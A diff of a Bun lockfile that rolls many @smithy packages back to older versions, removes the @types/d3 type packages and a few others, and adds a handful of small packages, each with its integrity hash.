- "@smithy/types": ["@smithy/types@4.13.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-787F3yzE2UiJIQ+wYW1CVg2odHjmaWLGksnKQHUrK/lYZSEcy1msuLVvxaR/sI2/aDe9U+TBuLsXnr3vod1g0g=="],
+ "@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="],
- "@smithy/url-parser": ["@smithy/url-parser@4.2.12", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.12", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-wOPKPEpso+doCZGIlr+e1lVI6+9VAKfL4kZWFgzVgGWY2hZxshNKod4l2LXS3PRC9otH/JRSjtEHqQ/7eLciRA=="],
+ "@smithy/url-parser": ["@smithy/url-parser@4.0.1", "", { "dependencies": { "@smithy/querystring-parser": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-gPXcIEUtw7VlK8f/QcruNXm7q+T5hhvGu9tl63LsJPZ27exB6dtNwvh2HIi0v7JcXJ5emBxB+CJxwaLEdJfA+g=="],
- "@smithy/util-base64": ["@smithy/util-base64@4.3.2", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-XRH6b0H/5A3SgblmMa5ErXQ2XKhfbQB+Fm/oyLZ2O2kCUrwgg55bU0RekmzAhuwOjA9qdN5VU2BprOvGGUkOOQ=="],
+ "@smithy/util-base64": ["@smithy/util-base64@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-CvHfCmO2mchox9kjrtzoHkWHxjHZzaFojLc8quxXY7WAAMAg43nuxwv95tATVgQFNDwd4M9S1qFzj40Ul41Kmg=="],
- "@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-JKCrLNOup3OOgmzeaKQwi4ZCTWlYR5H4Gm1r2uTMVBXoemo1UEghk5vtMi1xSu2ymgKVGW631e2fp9/R610ZjQ=="],
+ "@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-sNi3DL0/k64/LO3A256M+m3CDdG6V7WKWHdAiBBMUN8S3hK3aMPhwnPik2A/a2ONN+9doY9UxaLfgqsIRg69QA=="],
- "@smithy/util-body-length-node": ["@smithy/util-body-length-node@4.2.3", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-ZkJGvqBzMHVHE7r/hcuCxlTY8pQr1kMtdsVPs7ex4mMU+EAbcXppfo5NmyxMYi2XU49eqaz56j2gsk4dHHPG/g=="],
+ "@smithy/util-body-length-node": ["@smithy/util-body-length-node@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-q0iDP3VsZzqJyje8xJWEJCNIu3lktUGVoSy1KB0UWym2CL1siV3artm+u1DFYTLejpsrdGyCSWBdGNjJzfDPjg=="],
- "@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.2", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-FDXD7cvUoFWwN6vtQfEta540Y/YBe5JneK3SoZg9bThSoOAC/eGeYEua6RkBgKjGa/sz6Y+DuBZj3+YEY21y4Q=="],
+ "@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="],
- "@smithy/util-config-provider": ["@smithy/util-config-provider@4.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-dWU03V3XUprJwaUIFVv4iOnS1FC9HnMHDfUrlNDSh4315v0cWyaIErP8KiqGVbf5z+JupoVpNM7ZB3jFiTejvQ=="],
+ "@smithy/util-config-provider": ["@smithy/util-config-provider@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-L1RBVzLyfE8OXH+1hsJ8p+acNUSirQnWQ6/EgpchV88G6zGBTDPdXiiExei6Z1wR2RxYvxY/XLw6AMNCCt8H3w=="],
- "@smithy/util-defaults-mode-browser": ["@smithy/util-defaults-mode-browser@4.3.43", "", { "dependencies": { "@smithy/property-provider": "^4.2.12", "@smithy/smithy-client": "^4.12.7", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-Qd/0wCKMaXxev/z00TvNzGCH2jlKKKxXP1aDxB6oKwSQthe3Og2dMhSayGCnsma1bK/kQX1+X7SMP99t6FgiiQ=="],
+ "@smithy/util-defaults-mode-browser": ["@smithy/util-defaults-mode-browser@4.0.7", "", { "dependencies": { "@smithy/property-provider": "^4.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "bowser": "^2.11.0", "tslib": "^2.6.2" } }, "sha512-CZgDDrYHLv0RUElOsmZtAnp1pIjwDVCSuZWOPhIOBvG36RDfX1Q9+6lS61xBf+qqvHoqRjHxgINeQz47cYFC2Q=="],
- "@smithy/util-defaults-mode-node": ["@smithy/util-defaults-mode-node@4.2.47", "", { "dependencies": { "@smithy/config-resolver": "^4.4.13", "@smithy/credential-provider-imds": "^4.2.12", "@smithy/node-config-provider": "^4.3.12", "@smithy/property-provider": "^4.2.12", "@smithy/smithy-client": "^4.12.7", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-qSRbYp1EQ7th+sPFuVcVO05AE0QH635hycdEXlpzIahqHHf2Fyd/Zl+8v0XYMJ3cgDVPa0lkMefU7oNUjAP+DQ=="],
+ "@smithy/util-defaults-mode-node": ["@smithy/util-defaults-mode-node@4.0.7", "", { "dependencies": { "@smithy/config-resolver": "^4.0.1", "@smithy/credential-provider-imds": "^4.0.1", "@smithy/node-config-provider": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-79fQW3hnfCdrfIi1soPbK3zmooRFnLpSx3Vxi6nUlqaaQeC5dm8plt4OTNDNqEEEDkvKghZSaoti684dQFVrGQ=="],
- "@smithy/util-endpoints": ["@smithy/util-endpoints@3.3.3", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.12", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-VACQVe50j0HZPjpwWcjyT51KUQ4AnsvEaQ2lKHOSL4mNLD0G9BjEniQ+yCt1qqfKfiAHRAts26ud7hBjamrwig=="],
+ "@smithy/util-endpoints": ["@smithy/util-endpoints@3.0.1", "", { "dependencies": { "@smithy/node-config-provider": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-zVdUENQpdtn9jbpD9SCFK4+aSiavRb9BxEtw9ZGUR1TYo6bBHbIoi7VkrFQ0/RwZlzx0wRBaRmPclj8iAoJCLA=="],
- "@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Qcz3W5vuHK4sLQdyT93k/rfrUwdJ8/HZ+nMUOyGdpeGA1Wxt65zYwi3oEl9kOM+RswvYq90fzkNDahPS8K0OIg=="],
+ "@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
- "@smithy/util-middleware": ["@smithy/util-middleware@4.2.12", "", { "dependencies": { "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-Er805uFUOvgc0l8nv0e0su0VFISoxhJ/AwOn3gL2NWNY2LUEldP5WtVcRYSQBcjg0y9NfG8JYrCJaYDpupBHJQ=="],
+ "@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
- "@smithy/util-retry": ["@smithy/util-retry@4.2.12", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.12", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-1zopLDUEOwumjcHdJ1mwBHddubYF8GMQvstVCLC54Y46rqoHwlIU+8ZzUeaBcD+WCJHyDGSeZ2ml9YSe9aqcoQ=="],
+ "@smithy/util-retry": ["@smithy/util-retry@4.0.1", "", { "dependencies": { "@smithy/service-error-classification": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-WmRHqNVwn3kI3rKk1LsKcVgPBG6iLTBGC1iYOV3GQegwJ3E8yjzHytPt26VNzOWr1qu0xE03nK0Ug8S7T7oufw=="],
- "@smithy/util-stream": ["@smithy/util-stream@4.5.20", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.15", "@smithy/node-http-handler": "^4.5.0", "@smithy/types": "^4.13.1", "@smithy/util-base64": "^4.3.2", "@smithy/util-buffer-from": "^4.2.2", "@smithy/util-hex-encoding": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-4yXLm5n/B5SRBR2p8cZ90Sbv4zL4NKsgxdzCzp/83cXw2KxLEumt5p+GAVyRNZgQOSrzXn9ARpO0lUe8XSlSDw=="],
+ "@smithy/util-stream": ["@smithy/util-stream@4.1.2", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-hex-encoding": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-44PKEqQ303d3rlQuiDpcCcu//hV8sn+u2JBo84dWCE0rvgeiVl0IlLMagbU++o0jCWhYCsHaAt9wZuZqNe05Hw=="],
- "@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-2kAStBlvq+lTXHyAZYfJRb/DfS3rsinLiwb+69SstC9Vb0s9vNWkRwpnj918Pfi85mzi42sOqdV72OLxWAISnw=="],
+ "@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
- "@smithy/util-utf8": ["@smithy/util-utf8@4.2.2", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-75MeYpjdWRe8M5E3AW0O4Cx3UadweS+cwdXjwYGBW5h/gxxnbeZ877sLPX/ZJA9GVTlL/qG0dXP29JWFCD1Ayw=="],
+ "@smithy/util-utf8": ["@smithy/util-utf8@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-b+zebfKCfRdgNJDknHCob3O7FpeYQN6ZG6YLExMcasDHsCXlsXCEuiPZeLnJLpwa5dvPetGlnGCiMHuLwGvFow=="],
- "@smithy/util-waiter": ["@smithy/util-waiter@4.2.11", "", { "dependencies": { "@smithy/abort-controller": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-x7Rh2azQPs3XxbvCzcttRErKKvLnbZfqRf/gOjw2pb+ZscX88e5UkRPCB67bVnsFHxayvMvmePfKTqsRb+is1A=="],
+ "@smithy/util-waiter": ["@smithy/util-waiter@4.0.6", "", { "dependencies": { "@smithy/abort-controller": "^4.0.4", "@smithy/types": "^4.3.1", "tslib": "^2.6.2" } }, "sha512-slcr1wdRbX7NFphXZOxtxRNA7hXAAtJAXJDE/wdoMAos27SIquVCKiSqfB6/28YzQ8FCsB5NKkhdM5gMADbqxg=="],
- "@smithy/uuid": ["@smithy/uuid@1.1.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-O/IEdcCUKkubz60tFbGA7ceITTAJsty+lBjNoorP4Z6XRqaFb/OjQjZODophEcuq68nKm6/0r+6/lLQ+XVpk8g=="],
+ "@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
"@stitches/core": ["@stitches/core@1.2.8", "", {}, "sha512-Gfkvwk9o9kE9r9XNBmJRfV8zONvXThnm1tcuojL04Uy5uRyqg93DC83lDebl0rocZCfKSjUv+fWYtMQmEDJldg=="],
@@ -2013,10 +1881,12 @@
"@testing-library/user-event": ["@testing-library/user-event@14.5.2", "", { "peerDependencies": { "@testing-library/dom": ">=7.21.4" } }, "sha512-YAh82Wh4TIrxYLmfGcixwD18oIjyC1pFQC2Y01F2lzV2HTMiYrI0nze0FD0ocB//CKS/7jIUgae+adPqxK5yCQ=="],
- "@tokenizer/inflate": ["@tokenizer/inflate@0.4.1", "", { "dependencies": { "debug": "^4.4.3", "token-types": "^6.1.1" } }, "sha512-2mAv+8pkG6GIZiF1kNg1jAjh27IDxEPKwdGul3snfztFerfPGI1LjDezZp3i7BElXompqEtPmoPx6c2wgtWsOA=="],
-
"@tokenizer/token": ["@tokenizer/token@0.3.0", "", {}, "sha512-OvjF+z51L3ov0OyAU0duzsYuvO01PH7x4t6DJx+guahgTnBHkhJdG7soQeTSFLWN3efnHyibZ4Z8l2EuWwJN3A=="],
+ "@tootallnate/once": ["@tootallnate/once@2.0.0", "", {}, "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A=="],
+
+ "@trysound/sax": ["@trysound/sax@0.2.0", "", {}, "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA=="],
+
"@tsconfig/node10": ["@tsconfig/node10@1.0.11", "", {}, "sha512-DcRjDCujK/kCk/cUe8Xz8ZSpm8mS3mNNpta+jGCA6USEDfktlNvm1+IuZ9eTcDbNk41BHwpHHeW+N1lKCz4zOw=="],
"@tsconfig/node12": ["@tsconfig/node12@1.0.11", "", {}, "sha512-cqefuRsh12pWyGsIoBKJA9luFu3mRxCA+ORZvA4ktLSzIuCUtWVxGIuXigEwO5/ywWFMZ2QEGKWvkZG1zDMTag=="],
@@ -2043,70 +1913,10 @@
"@types/connect": ["@types/connect@3.4.38", "", { "dependencies": { "@types/node": "*" } }, "sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug=="],
- "@types/d3": ["@types/d3@7.4.3", "", { "dependencies": { "@types/d3-array": "*", "@types/d3-axis": "*", "@types/d3-brush": "*", "@types/d3-chord": "*", "@types/d3-color": "*", "@types/d3-contour": "*", "@types/d3-delaunay": "*", "@types/d3-dispatch": "*", "@types/d3-drag": "*", "@types/d3-dsv": "*", "@types/d3-ease": "*", "@types/d3-fetch": "*", "@types/d3-force": "*", "@types/d3-format": "*", "@types/d3-geo": "*", "@types/d3-hierarchy": "*", "@types/d3-interpolate": "*", "@types/d3-path": "*", "@types/d3-polygon": "*", "@types/d3-quadtree": "*", "@types/d3-random": "*", "@types/d3-scale": "*", "@types/d3-scale-chromatic": "*", "@types/d3-selection": "*", "@types/d3-shape": "*", "@types/d3-time": "*", "@types/d3-time-format": "*", "@types/d3-timer": "*", "@types/d3-transition": "*", "@types/d3-zoom": "*" } }, "sha512-lZXZ9ckh5R8uiFVt8ogUNf+pIrK4EsWrx2Np75WvF/eTpJ0FMHNhjXk8CKEx/+gpHbNQyJWehbFaTvqmHWB3ww=="],
-
- "@types/d3-array": ["@types/d3-array@3.2.2", "", {}, "sha512-hOLWVbm7uRza0BYXpIIW5pxfrKe0W+D5lrFiAEYR+pb6w3N2SwSMaJbXdUfSEv+dT4MfHBLtn5js0LAWaO6otw=="],
-
- "@types/d3-axis": ["@types/d3-axis@3.0.6", "", { "dependencies": { "@types/d3-selection": "*" } }, "sha512-pYeijfZuBd87T0hGn0FO1vQ/cgLk6E1ALJjfkC0oJ8cbwkZl3TpgS8bVBLZN+2jjGgg38epgxb2zmoGtSfvgMw=="],
-
- "@types/d3-brush": ["@types/d3-brush@3.0.6", "", { "dependencies": { "@types/d3-selection": "*" } }, "sha512-nH60IZNNxEcrh6L1ZSMNA28rj27ut/2ZmI3r96Zd+1jrZD++zD3LsMIjWlvg4AYrHn/Pqz4CF3veCxGjtbqt7A=="],
-
- "@types/d3-chord": ["@types/d3-chord@3.0.6", "", {}, "sha512-LFYWWd8nwfwEmTZG9PfQxd17HbNPksHBiJHaKuY1XeqscXacsS2tyoo6OdRsjf+NQYeB6XrNL3a25E3gH69lcg=="],
-
- "@types/d3-color": ["@types/d3-color@3.1.3", "", {}, "sha512-iO90scth9WAbmgv7ogoq57O9YpKmFBbmoEoCHDB2xMBY0+/KVrqAaCDyCE16dUspeOvIxFFRI+0sEtqDqy2b4A=="],
-
- "@types/d3-contour": ["@types/d3-contour@3.0.6", "", { "dependencies": { "@types/d3-array": "*", "@types/geojson": "*" } }, "sha512-BjzLgXGnCWjUSYGfH1cpdo41/hgdWETu4YxpezoztawmqsvCeep+8QGfiY6YbDvfgHz/DkjeIkkZVJavB4a3rg=="],
-
- "@types/d3-delaunay": ["@types/d3-delaunay@6.0.4", "", {}, "sha512-ZMaSKu4THYCU6sV64Lhg6qjf1orxBthaC161plr5KuPHo3CNm8DTHiLw/5Eq2b6TsNP0W0iJrUOFscY6Q450Hw=="],
-
- "@types/d3-dispatch": ["@types/d3-dispatch@3.0.7", "", {}, "sha512-5o9OIAdKkhN1QItV2oqaE5KMIiXAvDWBDPrD85e58Qlz1c1kI/J0NcqbEG88CoTwJrYe7ntUCVfeUl2UJKbWgA=="],
-
- "@types/d3-drag": ["@types/d3-drag@3.0.7", "", { "dependencies": { "@types/d3-selection": "*" } }, "sha512-HE3jVKlzU9AaMazNufooRJ5ZpWmLIoc90A37WU2JMmeq28w1FQqCZswHZ3xR+SuxYftzHq6WU6KJHvqxKzTxxQ=="],
-
- "@types/d3-dsv": ["@types/d3-dsv@3.0.7", "", {}, "sha512-n6QBF9/+XASqcKK6waudgL0pf/S5XHPPI8APyMLLUHd8NqouBGLsU8MgtO7NINGtPBtk9Kko/W4ea0oAspwh9g=="],
-
- "@types/d3-ease": ["@types/d3-ease@3.0.2", "", {}, "sha512-NcV1JjO5oDzoK26oMzbILE6HW7uVXOHLQvHshBUW4UMdZGfiY6v5BeQwh9a9tCzv+CeefZQHJt5SRgK154RtiA=="],
-
- "@types/d3-fetch": ["@types/d3-fetch@3.0.7", "", { "dependencies": { "@types/d3-dsv": "*" } }, "sha512-fTAfNmxSb9SOWNB9IoG5c8Hg6R+AzUHDRlsXsDZsNp6sxAEOP0tkP3gKkNSO/qmHPoBFTxNrjDprVHDQDvo5aA=="],
-
- "@types/d3-force": ["@types/d3-force@3.0.10", "", {}, "sha512-ZYeSaCF3p73RdOKcjj+swRlZfnYpK1EbaDiYICEEp5Q6sUiqFaFQ9qgoshp5CzIyyb/yD09kD9o2zEltCexlgw=="],
-
- "@types/d3-format": ["@types/d3-format@3.0.4", "", {}, "sha512-fALi2aI6shfg7vM5KiR1wNJnZ7r6UuggVqtDA+xiEdPZQwy/trcQaHnwShLuLdta2rTymCNpxYTiMZX/e09F4g=="],
-
- "@types/d3-geo": ["@types/d3-geo@3.1.0", "", { "dependencies": { "@types/geojson": "*" } }, "sha512-856sckF0oP/diXtS4jNsiQw/UuK5fQG8l/a9VVLeSouf1/PPbBE1i1W852zVwKwYCBkFJJB7nCFTbk6UMEXBOQ=="],
-
- "@types/d3-hierarchy": ["@types/d3-hierarchy@3.1.7", "", {}, "sha512-tJFtNoYBtRtkNysX1Xq4sxtjK8YgoWUNpIiUee0/jHGRwqvzYxkq0hGVbbOGSz+JgFxxRu4K8nb3YpG3CMARtg=="],
-
- "@types/d3-interpolate": ["@types/d3-interpolate@3.0.4", "", { "dependencies": { "@types/d3-color": "*" } }, "sha512-mgLPETlrpVV1YRJIglr4Ez47g7Yxjl1lj7YKsiMCb27VJH9W8NVM6Bb9d8kkpG/uAQS5AmbA48q2IAolKKo1MA=="],
-
- "@types/d3-path": ["@types/d3-path@3.1.1", "", {}, "sha512-VMZBYyQvbGmWyWVea0EHs/BwLgxc+MKi1zLDCONksozI4YJMcTt8ZEuIR4Sb1MMTE8MMW49v0IwI5+b7RmfWlg=="],
-
- "@types/d3-polygon": ["@types/d3-polygon@3.0.2", "", {}, "sha512-ZuWOtMaHCkN9xoeEMr1ubW2nGWsp4nIql+OPQRstu4ypeZ+zk3YKqQT0CXVe/PYqrKpZAi+J9mTs05TKwjXSRA=="],
-
- "@types/d3-quadtree": ["@types/d3-quadtree@3.0.6", "", {}, "sha512-oUzyO1/Zm6rsxKRHA1vH0NEDG58HrT5icx/azi9MF1TWdtttWl0UIUsjEQBBh+SIkrpd21ZjEv7ptxWys1ncsg=="],
-
- "@types/d3-random": ["@types/d3-random@3.0.3", "", {}, "sha512-Imagg1vJ3y76Y2ea0871wpabqp613+8/r0mCLEBfdtqC7xMSfj9idOnmBYyMoULfHePJyxMAw3nWhJxzc+LFwQ=="],
-
- "@types/d3-scale": ["@types/d3-scale@4.0.9", "", { "dependencies": { "@types/d3-time": "*" } }, "sha512-dLmtwB8zkAeO/juAMfnV+sItKjlsw2lKdZVVy6LRr0cBmegxSABiLEpGVmSJJ8O08i4+sGR6qQtb6WtuwJdvVw=="],
-
- "@types/d3-scale-chromatic": ["@types/d3-scale-chromatic@3.1.0", "", {}, "sha512-iWMJgwkK7yTRmWqRB5plb1kadXyQ5Sj8V/zYlFGMUBbIPKQScw+Dku9cAAMgJG+z5GYDoMjWGLVOvjghDEFnKQ=="],
-
- "@types/d3-selection": ["@types/d3-selection@3.0.11", "", {}, "sha512-bhAXu23DJWsrI45xafYpkQ4NtcKMwWnAC/vKrd2l+nxMFuvOT3XMYTIj2opv8vq8AO5Yh7Qac/nSeP/3zjTK0w=="],
-
- "@types/d3-shape": ["@types/d3-shape@3.1.8", "", { "dependencies": { "@types/d3-path": "*" } }, "sha512-lae0iWfcDeR7qt7rA88BNiqdvPS5pFVPpo5OfjElwNaT2yyekbM0C9vK+yqBqEmHr6lDkRnYNoTBYlAgJa7a4w=="],
-
- "@types/d3-time": ["@types/d3-time@3.0.4", "", {}, "sha512-yuzZug1nkAAaBlBBikKZTgzCeA+k1uy4ZFwWANOfKw5z5LRhV0gNA7gNkKm7HoK+HRN0wX3EkxGk0fpbWhmB7g=="],
-
- "@types/d3-time-format": ["@types/d3-time-format@4.0.3", "", {}, "sha512-5xg9rC+wWL8kdDj153qZcsJ0FWiFt0J5RB6LYUNZjwSnesfblqrI/bJ1wBdJ8OQfncgbJG5+2F+qfqnqyzYxyg=="],
-
- "@types/d3-timer": ["@types/d3-timer@3.0.2", "", {}, "sha512-Ps3T8E8dZDam6fUyNiMkekK3XUsaUEik+idO9/YjPtfj2qruF8tFBXS7XhtE4iIXBLxhmLjP3SXpLhVf21I9Lw=="],
-
- "@types/d3-transition": ["@types/d3-transition@3.0.9", "", { "dependencies": { "@types/d3-selection": "*" } }, "sha512-uZS5shfxzO3rGlu0cC3bjmMFKsXv+SmZZcgp0KD22ts4uGXp5EVYGzu/0YdwZeKmddhcAccYtREJKkPfXkZuCg=="],
-
- "@types/d3-zoom": ["@types/d3-zoom@3.0.8", "", { "dependencies": { "@types/d3-interpolate": "*", "@types/d3-selection": "*" } }, "sha512-iqMC4/YlFCSlO8+2Ii1GGGliCAY4XdeG748w5vQUbevlbDu0zSjH/+jojorQVBK/se0j6DUFNPBGSqD3YWYnDw=="],
-
"@types/debug": ["@types/debug@4.1.12", "", { "dependencies": { "@types/ms": "*" } }, "sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ=="],
+ "@types/diff": ["@types/diff@6.0.0", "", {}, "sha512-dhVCYGv3ZSbzmQaBSagrv1WJ6rXCdkyTcDyoNu1MD8JohI7pR7k8wdZEm+mvdxRKXyHVwckFzWU1vJc+Z29MlA=="],
+
"@types/estree": ["@types/estree@1.0.6", "", {}, "sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw=="],
"@types/estree-jsx": ["@types/estree-jsx@1.0.5", "", { "dependencies": { "@types/estree": "*" } }, "sha512-52CcUVNFyfb1A2ALocQw/Dd1BQFNmSdkuC3BkZ6iqhdMfQz7JWOFRuJFloOzjk+6WijU56m9oKXFAXc7o3Towg=="],
@@ -2117,8 +1927,6 @@
"@types/express-session": ["@types/express-session@1.18.2", "", { "dependencies": { "@types/express": "*" } }, "sha512-k+I0BxwVXsnEU2hV77cCobC08kIsn4y44C3gC0b46uxZVMaXA04lSPgRLR/bSL2w0t0ShJiG8o4jPzRG/nscFg=="],
- "@types/geojson": ["@types/geojson@7946.0.16", "", {}, "sha512-6C8nqWur3j98U6+lXDfTUWIfgvZU+EumvpHKcYjujKH7woYyLj2sUmff0tRhrqM7BohUw7Pz3ZB1jj2gW9Fvmg=="],
-
"@types/hast": ["@types/hast@3.0.4", "", { "dependencies": { "@types/unist": "*" } }, "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ=="],
"@types/http-errors": ["@types/http-errors@2.0.4", "", {}, "sha512-D0CFMMtydbJAegzOyHjtiKPLlvnm3iTZyZRSZoLq2mRhDdmLfIWOCYPfQJ4cu2erKghU++QvjcUjp/5h7hESpA=="],
@@ -2157,7 +1965,7 @@
"@types/multer": ["@types/multer@1.4.13", "", { "dependencies": { "@types/express": "*" } }, "sha512-bhhdtPw7JqCiEfC9Jimx5LqX9BDIPJEh2q/fQ4bqbBPtyEZYr3cvF22NwG0DmPZNYA0CAf2CnqDB4KIGGpJcaw=="],
- "@types/node": ["@types/node@20.19.37", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-8kzdPJ3FsNsVIurqBs7oodNnCEVbni9yUEkaHbgptDACOPW04jimGagZ51E6+lXUwJjgnBw+hyko/lkFWCldqw=="],
+ "@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
"@types/node-fetch": ["@types/node-fetch@2.6.13", "", { "dependencies": { "@types/node": "*", "form-data": "^4.0.4" } }, "sha512-QGpRVpzSaUs30JBSGPjOg4Uveu384erbHBoT1zeONvyCfwQxIkUshLAOqN/k9EjGviPRmWTTe6aH2qySWKTVSw=="],
@@ -2203,14 +2011,10 @@
"@types/webidl-conversions": ["@types/webidl-conversions@7.0.3", "", {}, "sha512-CiJJvcRtIgzadHCYXw7dqEnMNRjhGZlYK05Mj9OyktqV8uVT8fD2BFOB7S1uwBE3Kj2Z+4UyPmFw/Ixgw/LAlA=="],
- "@types/whatwg-mimetype": ["@types/whatwg-mimetype@3.0.2", "", {}, "sha512-c2AKvDT8ToxLIOUlN51gTiHXflsfIFisS4pO7pDPoKouJCESkhZnEy623gwP9laCy5lnLDAw1vAzu2vM2YLOrA=="],
-
"@types/whatwg-url": ["@types/whatwg-url@11.0.5", "", { "dependencies": { "@types/webidl-conversions": "*" } }, "sha512-coYR071JRaHa+xoEvvYqvnIHaVqaYrLPbsufM9BF63HkwI5Lgmy2QR8Q5K/lYDYo5AK82wOvSOS0UsLTpTG7uQ=="],
"@types/winston": ["@types/winston@2.4.4", "", { "dependencies": { "winston": "*" } }, "sha512-BVGCztsypW8EYwJ+Hq+QNYiT/MUyCif0ouBH+flrY66O5W+KIXAMML6E/0fJpm7VjIzgangahl5S03bJJQGrZw=="],
- "@types/ws": ["@types/ws@8.18.1", "", { "dependencies": { "@types/node": "*" } }, "sha512-ThVF6DCVhA8kUGy+aazFQ4kXQ7E1Ty7A3ypFOe0IcJV8O/M511G99AW24irKrW56Wt44yG9+ij8FaqoBGkuBXg=="],
-
"@types/xml-encryption": ["@types/xml-encryption@1.2.4", "", { "dependencies": { "@types/node": "*" } }, "sha512-I69K/WW1Dv7j6O3jh13z0X8sLWJRXbu5xnHDl9yHzUNDUBtUoBY058eb5s+x/WG6yZC1h8aKdI2EoyEPjyEh+Q=="],
"@types/xml2js": ["@types/xml2js@0.4.14", "", { "dependencies": { "@types/node": "*" } }, "sha512-4YnrRemBShWRO2QjvUin8ESA41rH+9nQGLUGZV/1IDhi3SL9OhdpNC/MrulTWuptXKwhx/aDxE7toV0f/ypIXQ=="],
